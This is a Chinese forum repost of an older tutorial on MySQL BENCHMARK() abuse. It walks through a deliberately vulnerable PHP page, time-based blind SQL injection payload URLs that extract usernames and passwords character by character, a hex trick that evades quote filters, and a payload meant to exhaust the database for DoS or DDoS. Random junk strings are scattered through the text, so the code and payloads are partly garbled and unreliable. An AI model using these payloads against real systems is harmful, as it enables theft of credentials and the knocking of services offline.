找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2067|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
7 R, C5 r$ ^) o本文作者:SuperHei6 E5 y  ~5 u7 K( `- h
文章性质:原创1 j2 V! @+ i1 c7 v5 o3 w7 k, C8 R2 C
发布日期:2005-01-02) r  y3 K% C' O6 j, ?7 `; U  u. L
完成日期:2004-07-09
5 `; Y  g( Z) [第一部+ Z. l  H5 w5 W

; r5 J. \" t( `% u8 ~# z: b利用时间推延进行注射---BENCHMARK函数在注射中的利用 5 x' a9 G- u6 P+ W: b1 q% I
' `+ Y6 \' I. f
一.前言/思路3 H/ Z! ?; X! L# Z/ C+ _

# c( M- C8 f2 K" y6 w  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。. c6 \, n% K( e8 Q7 z5 M1 f# I

; g* p4 m* F; S  p+ k  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
7 r/ o1 ?1 G  E0 d( T" E9 D8 _: c9 K/ S5 A1 v
二.关于BENCHMARK函数, C2 o0 W0 [4 \

4 r! P4 r2 v- u  在MySQL参考手册里可以看到如下描叙:
1 F' n& G$ M1 Z: k0 ^. d
8 n5 v! Y) m  h8 I) G/ }
6 g* l: y5 K/ G( t--------------------------------------------------------------------------------- t5 k& A4 a' ?$ w# Q  }
, M1 d( u# \0 ?# W" |8 r8 t0 j
BENCHMARK(count,expr)   M8 r  U5 Y" A! Q* Q
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
' Q$ E" O  `) c% U/ h) w$ jmysql> select BENCHMARK(1000000,encode("hello","goodbye"));
" O" _8 B! d1 {# T# w+----------------------------------------------+   P% m2 n8 @7 {5 d4 L6 f6 F
| BENCHMARK(1000000,encode("hello","goodbye")) | $ g' W. R  b8 I1 `- r2 x$ l
+----------------------------------------------+ " q) r7 {8 V) T2 Z0 ?0 D; s% E
| 0 |
0 p$ g/ w: I( O4 F+----------------------------------------------+ ; M% a# p; Z  S, i+ O. }: z# V6 R
1 row in set (4.74 sec)
  V& a; }% j9 C/ E$ E. J. j- r' A# M; K0 z/ K8 q! ]9 y
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
* c& i+ P! e- j9 k$ V- ?9 J% V4 N
5 d! R9 _: Z$ F# C, z
# M7 X; \# o& z8 R' o--------------------------------------------------------------------------------* t% R7 S6 E5 F& D4 p. m" q/ s
5 p1 r% y' C) s: [/ `+ I4 o( n4 w
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
0 A2 ?/ i) g: v* Z0 O- v
" d, v) l' y% |, I- H: Tmysql> select md5( 'test' );
: u8 o! _. \% X1 ], y* l, Y% D! L+----------------------------------+ 8 K/ |4 n. F% w6 i! C* k
| md5( 'test' ) | * C, v2 N6 P1 G3 ?$ }# v
+----------------------------------+ ' D8 [# V0 D4 x1 M) R% o/ C( m0 ?
| 098f6bcd4621d373cade4e832627b4f6 |
( q$ A) s; a0 }( U  ]1 x+----------------------------------+ ! X& O' j. _9 ~$ Z. d1 J5 X! [
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec , s- G; e$ m1 U
$ L5 c; R  y0 U! u% Z9 c- O
mysql> select benchmark( 500000, md5( 'test' ) ); 0 T+ [; n. l( L7 y# k; m8 }. Y9 N0 x
+------------------------------------+ ' P" Q: ~' J6 ~4 ]: U6 N3 H
| benchmark( 500000, md5( 'test' ) ) | ! D2 e+ _# B9 o/ T* n$ d
+------------------------------------+
" [7 @6 {+ e1 R' {. Z| 0 |
- ~, T# E' W. t) Q+------------------------------------+
9 V( {( b4 o- ?% G* q& g% X+ O7 ]1 ^2 ?1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
$ d6 @1 |7 |. M1 c5 m1 j ; E9 j$ B1 T8 n1 G$ [2 p) C5 e1 D
* O& D1 ^' L" S  U# z, |# B6 }
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
6 A% S( Z3 W& u8 Y# A6 k1 v. C" n8 L9 l- {5 b
三.具体例子1 e1 f9 O; F/ a& z

  Z/ a& D" e; C6 \0 U9 z  首先我们看个简单的php代码:: T+ u* e5 V# _+ O. @$ h
, F* i- [8 l+ [4 y, N$ L, w% W. n
< ?php ! f( @' Y' [) T: B2 v- v5 g
$servername = "localhost"; " z7 `/ v3 Z  j7 M7 N3 F
$dbusername = "root"; $ z5 j' f( X% i! o6 p' D* ~
$dbpassword = ""; 3 E' m1 \0 ]. s1 e$ l; x
$dbname = "injection"; # I  c! z4 e( \: L8 U- y3 }$ M

8 o% R  J5 s; @, b" vmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
2 v! ?6 P( Q7 T+ j1 L1 c6 k& y' m" _/ g( T0 X9 I. h
$sql = "SELECT * FROM article WHERE articleid=$id"; % q6 _/ l) ]- {1 N; F" ^+ d( x
$result = mysql_db_query($dbname,$sql);
, B0 Z- ?% ?2 @+ ~$row = mysql_fetch_array($result);
. N1 `( `* v+ _- z' W. g! U1 U
  G' u* A/ i* A) P8 |; C; nif (!$row)   Z1 i/ E' R+ B0 G
{
) K# w. Q5 H$ a1 sexit; 6 |: m: ^8 U1 q
}
5 q+ z4 u. N( S& t" f- z?>3 O( P) V! g3 A3 i. i  O5 M

+ s: Q" V! Q, T. S$ P) F) r5 O6 }& M( I9 Q
  数据库injection结构和内容如下:) G5 ?$ m7 C+ E& O

* o" E5 @( s$ m1 k' w; V& |# 数据库 : `injection`
) ^6 I7 L- q7 E% |# ) j6 r% h" @" [* y7 u

; J4 ]2 u8 y1 }# F1 @. G1 f) z# --------------------------------------------------------
1 ^6 b" }9 h( o& \9 Q. r6 n- R* z* D$ H* x: j
#
3 h, d  D% O- @8 h0 I1 [# 表的结构 `article`
2 f+ v: a( o/ q! @#
  f- o! i8 G, L$ h& L1 i
! @5 `. S9 N0 @6 M3 j$ f' {CREATE TABLE `article` ( $ d, \: M; d- i' F
`articleid` int(11) NOT NULL auto_increment, ' T0 }! d: p( D5 Y
`title` varchar(100) NOT NULL default '', 3 K# U) _" o; h
`content` text NOT NULL,
2 p5 v) z- r0 e7 W- G3 w2 \PRIMARY KEY (`articleid`) ' {) V" ]4 y7 N. v* v( s. y
) TYPE=MyISAM AUTO_INCREMENT=3 ;
  f+ n4 t* m  h
! J# n# U  R, z+ N) }5 L#
3 s  \# K6 p, h: }# 导出表中的数据 `article`
2 z. D& Z+ b7 ^$ k% _#
) X! G8 }! D, Z$ w- O0 d4 z6 [% P7 h  V/ _1 H5 r
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); * Y* V, D( D* |; K8 Y3 _8 U
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); $ y6 c2 d) H  g, W' J; P
  D! B8 Y& J4 r2 x# {. O
# --------------------------------------------------------
. i* m' Q5 @2 t! s' g" O, \# ?) k$ L
#
; E3 m& ?# d0 |# 表的结构 `user`
# |, q1 {2 R/ ?5 r8 C( [. Q# - U. c/ f1 R* {" E$ q
0 l' @1 J/ l& H1 p# N
CREATE TABLE `user` ( # j  g5 T9 N5 h3 a0 u- x6 g
`userid` int(11) NOT NULL auto_increment,
% r% G5 F6 D- r8 [* m' Z# k`username` varchar(20) NOT NULL default '',
2 ]& T9 L$ X$ e+ \2 j% x( B`password` varchar(20) NOT NULL default '', ) i# R% t4 \% k, R, a$ D
PRIMARY KEY (`userid`) : ?; X8 c9 o- |4 h
) TYPE=MyISAM AUTO_INCREMENT=3 ; # K1 l& E7 H7 k8 \+ u7 s/ r5 x

7 F& r2 T1 a$ o! T# " w; \, U) }9 D% |2 M
# 导出表中的数据 `user` $ H! H0 J6 a4 \! _: t* c
#
3 e& P9 c! L4 d% p7 l, k3 l4 l& E: L7 n9 I" J* n
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
& J" r) L) g+ yINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');, n' W" d/ g; g- F3 s4 W5 H  L/ H

  b) v% h( {6 {. l  J
$ p2 Z+ y* u4 i, e  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
8 i1 b7 J: }2 R7 @6 \& o0 x  `6 R3 C3 _5 T/ T8 y2 o
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
5 w, B3 g7 {( p, q+ t) b, h $ e! q( H: I* ?) G2 V% S( x8 t) R5 B
# ^& h& X8 }, Q# ~4 K# p) k8 s. p
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
  m) G$ A7 l, @% c9 \" p( V( I5 B3 y& O% E2 A
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
3 a/ z: J$ p7 C# k
7 f* g7 d( f: I: j; j- \: H8 s+ Q9 _( @9 E' E  R( d
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
8 {. v2 Q7 N1 i! b
$ c  J' R: E( @* |2 T  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 & I% J# ^0 o& k
- P! `* I$ q6 w2 D8 Q5 m
第二部: b3 g% J5 ?4 U5 ?! F( j
  c7 j8 E# O1 T* w* C
利用BENCHMARK函数进行ddos攻击 ) n5 k% c% k' z9 h9 H
6 o' u2 d: Y# G% d. h
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:" D6 a& a; R% G( A

  i6 @# w* N; [# l  fhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))/ u& u' X* N. w2 P4 ~
, H) |- x- ]: d' t  h9 n/ \) j
% O3 e+ X" W. w( M
小结
, ~5 }# K' P$ k( J8 ]7 ^: ?) d. K$ K! }  u( a
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
6 O/ q% j1 Y% D! X# r- G 2 V# X2 a5 F$ _* W
  $ s+ C0 g" X* g3 q3 ?/ q5 b* I- Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表